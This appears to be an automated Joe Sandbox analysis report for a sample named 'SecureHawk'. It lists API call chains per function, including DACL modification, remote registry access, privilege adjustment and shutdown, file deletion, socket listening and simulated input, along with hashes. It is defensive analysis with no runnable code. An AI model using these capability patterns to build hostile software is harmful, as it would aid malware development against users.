Part of subcall function 00348CA0: GetProcessHeap.KERNEL32(00000008,003486F9,00000000,00000000,?,003486F9,?), ref: 00348CAC
Part of subcall function 00348CA0: HeapAlloc.KERNEL32(00000000,?,003486F9,?), ref: 00348CB3
Part of subcall function 00348CA0: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,003486F9,?), ref: 00348CC4

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00348714
_memset.LIBCMT ref: 00348729
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00348748
GetLengthSid.ADVAPI32(?), ref: 00348759
GetAce.ADVAPI32(?,00000000,?), ref: 00348796
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 003487B2
GetLengthSid.ADVAPI32(?), ref: 003487CF
GetProcessHeap.KERNEL32(00000008,-00000008), ref: 003487DE
HeapAlloc.KERNEL32(00000000), ref: 003487E5
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00348806
CopySid.ADVAPI32(00000000), ref: 0034880D
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 0034883E
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00348864
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00348878

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: HeapSecurity$AllocDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
String ID:
API String ID: 3996160137-0
Opcode ID: 31ba608eea75d2d78ef28aa4dca31827134274a1d7db35b164bf1bbe1ce3a7e0
Instruction ID: 199b685dbaed3fac9b9a245eb310c3b637fe064f250a4207fba3dffdee3ede9c
Opcode Fuzzy Hash: 31ba608eea75d2d78ef28aa4dca31827134274a1d7db35b164bf1bbe1ce3a7e0
Instruction Fuzzy Hash: 88615EB1900209AFDF46DF94DC84EEEBBB9FF04304F148569F815AB290DB35AA05CB60

Function 00370802 Relevance: 16.9, APIs: 11, Instructions: 397registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00371242: CharUpperBuffW.USER32(?,?,?,?,?,?,?,003701D5,?,?), ref: 00371259

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 003708D4

Part of subcall function 002F4D37: __itow.LIBCMT ref: 002F4D62
Part of subcall function 002F4D37: __swprintf.LIBCMT ref: 002F4DAC

RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 00370973
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 00370A0B
RegCloseKey.ADVAPI32(000000FE,000000FE,00000000,?,00000000), ref: 00370C4A
RegCloseKey.ADVAPI32(00000000), ref: 00370C57

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: CloseQueryValue$BuffCharConnectRegistryUpper__itow__swprintf
String ID:
API String ID: 1240663315-0
Opcode ID: d50717c1c4aa15ecb611afbe291a2a56e616dbcf80d7211da88c3a849c3ac093
Instruction ID: ff51fa006eb25b4254aeed82ae7c1c42a81350841876b736577b2c794c65ae48
Opcode Fuzzy Hash: d50717c1c4aa15ecb611afbe291a2a56e616dbcf80d7211da88c3a849c3ac093
Instruction Fuzzy Hash: 70E14D71204215EFC72ADF25C891E2BBBE8EF89314F04856DF94ADB2A1D734E905CB51

Function 003542AA Relevance: 15.1, APIs: 10, Instructions: 108windowCOMMON

Download Yara Rule

APIs

__swprintf.LIBCMT ref: 003542BE
__swprintf.LIBCMT ref: 003542CB

Part of subcall function 003137FA: __woutput_l.LIBCMT ref: 00313853

FindResourceW.KERNEL32(?,?,0000000E), ref: 003542F5
LoadResource.KERNEL32(?,00000000), ref: 00354301
LockResource.KERNEL32(00000000), ref: 0035430E
FindResourceW.KERNEL32(?,?,00000003), ref: 0035432E
LoadResource.KERNEL32(?,00000000), ref: 00354340
SizeofResource.KERNEL32(?,00000000), ref: 0035434F
LockResource.KERNEL32(?), ref: 0035435B
CreateIconFromResourceEx.USER32(?,?,00000001,00030000,00000000,00000000,00000000), ref: 003543BC

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Resource$FindLoadLock__swprintf$CreateFromIconSizeof__woutput_l
String ID:
API String ID: 1433390588-0
Opcode ID: 9adc8dd7412703adaf0cf0c8d36715c17021c70e9c4ecb39f8a250a2a8ed8bc6
Instruction ID: 328a669c50486b931956ab2be1ba81e24f206de7a224779ebd794ed93257360a
Opcode Fuzzy Hash: 9adc8dd7412703adaf0cf0c8d36715c17021c70e9c4ecb39f8a250a2a8ed8bc6
Instruction Fuzzy Hash: A431C07560021AABCB1A9F61DC48EBB7BACEF48306F014855FD06D6160D770D964CBA0

Function 00364614 Relevance: 15.1, APIs: 10, Instructions: 83clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 0036463B
EmptyClipboard.USER32 ref: 00364641
GlobalAlloc.KERNEL32(00000002,?), ref: 00364656
CloseClipboard.USER32 ref: 003646F5

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
Opcode ID: 75f89ea96b6e179c3ab94cbc591decf651d205510d88a1f73be424978651e672
Instruction ID: 4f48a4b12217d5512adf43f51dc51d68b6fd3bbfc1cc8855963949055ec7d393
Opcode Fuzzy Hash: 75f89ea96b6e179c3ab94cbc591decf651d205510d88a1f73be424978651e672
Instruction Fuzzy Hash: C621C1317013109FDB57AF24EC09B6E77ACEF45760F01C059FA469B2A2DBB0AD118B95

Function 00353B4F Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 167fileCOMMON

Download Yara Rule

APIs

Part of subcall function 003101AF: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00302A58,?,00008000), ref: 003101CF

Part of subcall function 00354E59: GetFileAttributesW.KERNEL32(?,00353A6B), ref: 00354E5A

FindFirstFileW.KERNEL32(?,?), ref: 00353C03
DeleteFileW.KERNEL32(?,?,00000000,?,?,?,?), ref: 00353CAB
MoveFileW.KERNEL32(?,?), ref: 00353CBE
DeleteFileW.KERNEL32(?,?,?,?,?), ref: 00353CDB
FindNextFileW.KERNEL32(00000000,00000010), ref: 00353CFD
FindClose.KERNEL32(00000000,?,?,?,?), ref: 00353D19

Strings

\*.*, xrefs: 00353BAE, 00353BB7, 00353BCC

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: File$Find$Delete$AttributesCloseFirstFullMoveNameNextPath
String ID: \*.*
API String ID: 4002782344-1173974218
Opcode ID: 68ab04e5d9e5d3d9235c0886be419c2ca2279fbd2b699851943177941a189e4c
Instruction ID: fa60480bf772f5ee7db67c8f2401bee922a0ef37fd001a125303471baa917cf8
Opcode Fuzzy Hash: 68ab04e5d9e5d3d9235c0886be419c2ca2279fbd2b699851943177941a189e4c
Instruction Fuzzy Hash: F751563184114D9ACF17EBA0C9A6DEDB779AF15341F204165E846BB1A2EF316F0DCB60

Function 0035F8A3 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 120filesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00301A36: _memmove.LIBCMT ref: 00301A77

FindFirstFileW.KERNEL32(?,?,*.*,?,?,00000000,00000000), ref: 0035F8F0
FindClose.KERNEL32(00000000), ref: 0035FA03

Part of subcall function 002F52B0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 002F52E6

Sleep.KERNEL32(0000000A), ref: 0035F920
_wcscmp.LIBCMT ref: 0035F934
_wcscmp.LIBCMT ref: 0035F94F
FindNextFileW.KERNEL32(?,?), ref: 0035F9ED

Strings

*.*, xrefs: 0035F8D5

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Find$File_wcscmp$CloseFirstMessageNextPeekSleep_memmove
String ID: *.*
API String ID: 2185952417-438819550
Opcode ID: 857690f4ad378d09159bbfe6fadc37a8036464c88656e1507a4891bab42725e5
Instruction ID: b207391ca83664811905ee5c1d15dcc2ee3c40919b1bf3432c8237c24c43d61e
Opcode Fuzzy Hash: 857690f4ad378d09159bbfe6fadc37a8036464c88656e1507a4891bab42725e5
Instruction Fuzzy Hash: 7C417D7194121AAFCF16DF64CC49FEEBBB8FF05315F144166E814A62A1EB309A48CF90

Function 003555E5 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 0034917C: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 003491C6
Part of subcall function 0034917C: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 003491F3
Part of subcall function 0034917C: GetLastError.KERNEL32 ref: 00349200

ExitWindowsEx.USER32(?,00000000), ref: 00355621

Strings

@, xrefs: 00355614
, xrefs: 0035560F
SeShutdownPrivilege, xrefs: 003555F1

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
String ID: $@$SeShutdownPrivilege
API String ID: 2234035333-194228
Opcode ID: 6c85050da54d95e2c5685575d1aa3a20b8224e94fa1a753a0381be8bf5a505b0
Instruction ID: 5a3ffec53540b43a27b0bdc80e34fbdd68e9e430faaa3fa0e419d67583934ed3
Opcode Fuzzy Hash: 6c85050da54d95e2c5685575d1aa3a20b8224e94fa1a753a0381be8bf5a505b0
Instruction Fuzzy Hash: 4A017B316907516BF72B5A68DC6AFBB729CDB04343F911420FC07D60F2DA907C0C8591

Function 00366733 Relevance: 9.1, APIs: 6, Instructions: 84networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000001,00000006,?,00000002,00000000), ref: 0036678C
WSAGetLastError.WSOCK32(00000000), ref: 0036679B
bind.WSOCK32(00000000,?,00000010), ref: 003667B7
listen.WSOCK32(00000000,00000005), ref: 003667C6
WSAGetLastError.WSOCK32(00000000), ref: 003667E0
closesocket.WSOCK32(00000000,00000000), ref: 003667F4

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: ErrorLast$bindclosesocketlistensocket
String ID:
API String ID: 1279440585-0
Opcode ID: 075a837e1009a64d5be98f869a6bc8584f84f01b004cc77695e276459006cb53
Instruction ID: 77334bf4a790a4ea21771741e0193de647a032b7b209ff9b6762c3ac7b932c2f
Opcode Fuzzy Hash: 075a837e1009a64d5be98f869a6bc8584f84f01b004cc77695e276459006cb53
Instruction Fuzzy Hash: F821E4312006049FCB11EF64C986B7EB3ADEF48364F118568F966A73D1CB70AC458B91

Function 002F1663 Relevance: 7.9, APIs: 5, Instructions: 379COMMON

Download Yara Rule

APIs

Part of subcall function 002F29E2: GetWindowLongW.USER32(?,000000EB), ref: 002F29F3

DefDlgProcW.USER32(?,?,?,?,?), ref: 002F1DD6
GetSysColor.USER32(0000000F), ref: 002F1E2A
SetBkColor.GDI32(?,00000000), ref: 002F1E3D

Part of subcall function 002F166C: DefDlgProcW.USER32(?,00000020,?), ref: 002F16B4

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: ColorProc$LongWindow
String ID:
API String ID: 3744519093-0
Opcode ID: c0a0aeb1e16fcdf584afbc4192b662bef931bc103302e87a98cba51914e0448a
Instruction ID: bd1c37c5a0ce91bba2eb57f4d68e4ca4ca181e8feb136f687fbf8db3008545ec
Opcode Fuzzy Hash: c0a0aeb1e16fcdf584afbc4192b662bef931bc103302e87a98cba51914e0448a
Instruction Fuzzy Hash: B3A1767013542DFAE63E6F299C55E7BB66CDF423C5F94413AF602DA182CA689C318372

Function 0035C16C Relevance: 7.6, APIs: 5, Instructions: 143fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 0035C196
_wcscmp.LIBCMT ref: 0035C1C6
_wcscmp.LIBCMT ref: 0035C1DB
FindNextFileW.KERNEL32(00000000,?), ref: 0035C1EC
FindClose.KERNEL32(00000000,00000001,00000000), ref: 0035C21C

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Find$File_wcscmp$CloseFirstNext
String ID:
API String ID: 2387731787-0
Opcode ID: 3d200375f4de194e12ffe6a55a72bd22d4ef4bdfce19d47686fa0caac573894a
Instruction ID: 59df01cfa263543baf30cee015611507360aff018dd9bdedd64339868d9babc2
Opcode Fuzzy Hash: 3d200375f4de194e12ffe6a55a72bd22d4ef4bdfce19d47686fa0caac573894a
Instruction Fuzzy Hash: A251BD356147028FD71ADF68D490EAAB3E8FF49324F114A1DF9568B3A1DB30AD08CB91

Function 00366BF7 Relevance: 7.6, APIs: 5, Instructions: 141networkCOMMON

Download Yara Rule

APIs

Part of subcall function 0036823D: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 00368268

socket.WSOCK32(00000002,00000002,00000011,?,?,00000000), ref: 00366C4E
WSAGetLastError.WSOCK32(00000000), ref: 00366C77
bind.WSOCK32(00000000,?,00000010), ref: 00366CB0
WSAGetLastError.WSOCK32(00000000), ref: 00366CBD
closesocket.WSOCK32(00000000,00000000), ref: 00366CD1

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: ErrorLast$bindclosesocketinet_addrsocket
String ID:
API String ID: 99427753-0
Opcode ID: 1be30c814999d779c6f9f72392bc82b2933c76ee5294a4accb9107acffb9ff7e
Instruction ID: 1d764ad63330cd17c87c16531ac4fec961c4c07d84ea02cbc8b3d74f590b15e6
Opcode Fuzzy Hash: 1be30c814999d779c6f9f72392bc82b2933c76ee5294a4accb9107acffb9ff7e
Instruction Fuzzy Hash: 1A41F271610604AFDB11BF649C87F7EB3A8DB04794F008568FA56AB3C2CAB09D108FA1

Function 0037577B Relevance: 7.6, APIs: 5, Instructions: 69windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 003757CA
IsWindowEnabled.USER32 ref: 003757D8
GetForegroundWindow.USER32(?,?,00000001), ref: 003757E5
IsIconic.USER32 ref: 003757F3
IsZoomed.USER32 ref: 00375801

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Window$EnabledForegroundIconicVisibleZoomed
String ID:
API String ID: 292994002-0
Opcode ID: 6657fb5b9a36e59a1abe5210b70cd0c2e76843a79961462282e41dd6d43e3d1c
Instruction ID: 33b97841dcf3ebfa5347472ff545e746046779a116ad18dae481bebc58c1c040
Opcode Fuzzy Hash: 6657fb5b9a36e59a1abe5210b70cd0c2e76843a79961462282e41dd6d43e3d1c
Instruction Fuzzy Hash: 7011B232700A15ABE73B5F269C44A2EBB9CEF85760F418029F949D7241CBB4E9018BA1

Function 0036279E Relevance: 4.7, APIs: 3, Instructions: 164networkfileCOMMON

Download Yara Rule

APIs

InternetQueryDataAvailable.WININET(00000001,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,00361CBA,00000000), ref: 00362891
InternetReadFile.WININET(00000001,00000000,00000001,00000001), ref: 003628C8

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Internet$AvailableDataFileQueryRead
String ID:
API String ID: 599397726-0
Opcode ID: 7f1d988c1052529c3a670c51cbc0377ab09960d4fdab3ba0b86e26d29f001906
Instruction ID: 1bc3a359c9b9e057139a9d1538e33652f275f4104954b872eb55a56b5ceb668f
Opcode Fuzzy Hash: 7f1d988c1052529c3a670c51cbc0377ab09960d4fdab3ba0b86e26d29f001906
Instruction Fuzzy Hash: 2641E571904B09BFEB22DA55CC85EFB77BCEB40314F12806EFA01A7145DAB19E419A60

Function 0034917C Relevance: 4.6, APIs: 3, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 00310F16: std::exception::exception.LIBCMT ref: 00310F4C
Part of subcall function 00310F16: __CxxThrowException@8.LIBCMT ref: 00310F61

LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 003491C6
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 003491F3
GetLastError.KERNEL32 ref: 00349200

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: AdjustErrorException@8LastLookupPrivilegePrivilegesThrowTokenValuestd::exception::exception
String ID:
API String ID: 1922334811-0
Opcode ID: 83aa3900aec5bb5e639ea5156667c88c3812382819bc0635516db9a5d95122fa
Instruction ID: b43228cd6d141a11834da30aa49ced9b058c25d4cd2c2c141d444380b73a661c
Opcode Fuzzy Hash: 83aa3900aec5bb5e639ea5156667c88c3812382819bc0635516db9a5d95122fa
Instruction Fuzzy Hash: 52116DB1414205AFD7299F64DC8AE6BB7ECEB48711B21816EE45597240EB70BC41CB60

Function 003540C1 Relevance: 4.6, APIs: 3, Instructions: 59fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 003540DE
DeviceIoControl.KERNEL32(00000000,002D1400,?,0000000C,?,00000028,?,00000000), ref: 0035411F
CloseHandle.KERNEL32(?,?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 0035412A

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle
String ID:
API String ID: 33631002-0
Opcode ID: cb207d9f5a764c881b85a4a61f5fa3a8fd3f134efa3d40fdb182d2e043d24f67
Instruction ID: bce12efbd36a038c78580a6c15247cfd247737f6c3c9ad3d9aff61d4a92c4410
Opcode Fuzzy Hash: cb207d9f5a764c881b85a4a61f5fa3a8fd3f134efa3d40fdb182d2e043d24f67
Instruction Fuzzy Hash: DC117075E01328BBDB558F959C44FAFBBBCEB45B60F104155FD04E7290D6704A048BA1

Function 00354D89 Relevance: 4.5, APIs: 3, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00354DB2
CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 00354DC9
FreeSid.ADVAPI32(?), ref: 00354DD9

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: 17443e1aac65f24049d97b1142ee035b77b089400bfa22ef4300873fc45e005a
Instruction ID: 8538669234d2f4083f72259d0c4e334f56a0df8ffce912256cb50889b7c46b5a
Opcode Fuzzy Hash: 17443e1aac65f24049d97b1142ee035b77b089400bfa22ef4300873fc45e005a
Instruction Fuzzy Hash: 42F04FB591130CBFDF04DFE0DC89EADB7BCEF08301F1044A9A901E2181D7305A488B50

Function 00351932 Relevance: 3.0, APIs: 2, Instructions: 32keyboardCOMMON

Download Yara Rule

APIs

SendInput.USER32(00000001,?,0000001C,?,?,00000002), ref: 0035196D
